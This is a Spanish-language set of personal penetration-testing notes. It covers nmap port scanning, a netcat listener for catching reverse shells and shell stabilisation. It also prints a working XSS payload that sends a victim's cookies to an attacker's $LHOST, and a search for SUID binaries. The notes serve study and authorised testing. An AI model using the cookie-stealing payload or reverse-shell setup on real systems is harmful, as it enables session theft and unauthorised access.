Apuntes Pentesting V2
Buenas, bienvenidos a mi segunda parte de mis apuntes. Esta es la forma que tengo de pasar a limpio la utilización de algunas herramientas.
1. Uso genérico de NMAP.
1.1 Escaneo rápido de puertos explicado paso a paso.
nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- $RHOST -oN "allPorts"
- sS - Permite realizar un SYN scan. Esto permite explorar puertos utilizando únicamente paquetes tipo SYN.
- –min-rate 5000 - Indica el número de mínimo de tasa de paquetes. En este caso (5000)
- –open - Únicamente mostrar los puertos abiertos.
- -vvv - Triple Verbose, para que el estado del escaneo sea mostrado en pantalla.
- -n - Indica al escaneo que no realice resolución de nombres
- -Pn - Indica al escaneo que no haga ping al host.
- -p- - Indica que el escaneo será realizado en todos los puertos.
El uso del parámetro -oN es para exportar el resultado del escaneo a un archivo. En este caso llamado. “allPorts”
1.2 Enumerar puertos y servicios mediante NMAP.
nmap -sC -sV -p(ports) $RHOST -oN "target"
- -sC - Realiza análisis con los scripts por defecto.
- -sV - Detección de la versión de los servicios.
- -p(ports) - Indicamos los puertos a analizar, separados por comas.
2. Establecimiento de Reverse Shell
2.1 Escucha en Netcat de Reverse Shell.
nc -nlvp 443
Utilizaremos este comando para ponernos en escucha por el puerto 443. Puerto comúnmente usado para el protocolo HTTPS.
2.2 Obtención de Shell interactiva.
script /dev/null/ -c bash
Ctrl+Z
stty raw echo
fg
reset
xterm
export TERM=xterm
export SHELL=bash
3. Obtención de cookies mediante XSS
Payload:
<script>document.write('<img src="http://$LHOST/x.jpg?cookie='+ document.cookie +'"></script>')
Para el uso de este Payload deberemos instaurar un servidor HTTP, por ejemplo con el módulo de python SimpleHTTPServer, y tras ejecutar el payload, recibiremos una petición GET con dichas cookies.
4. Encontrar binarios SUID dentro de un sistema.
Para ello ejecutaremos el siguiente comando:
find \ -perm -4000 2>/dev/null
Básicamente, buscaremos desde la raíz todos los binarios SUID, y dirigiremos el stderr al /dev/null.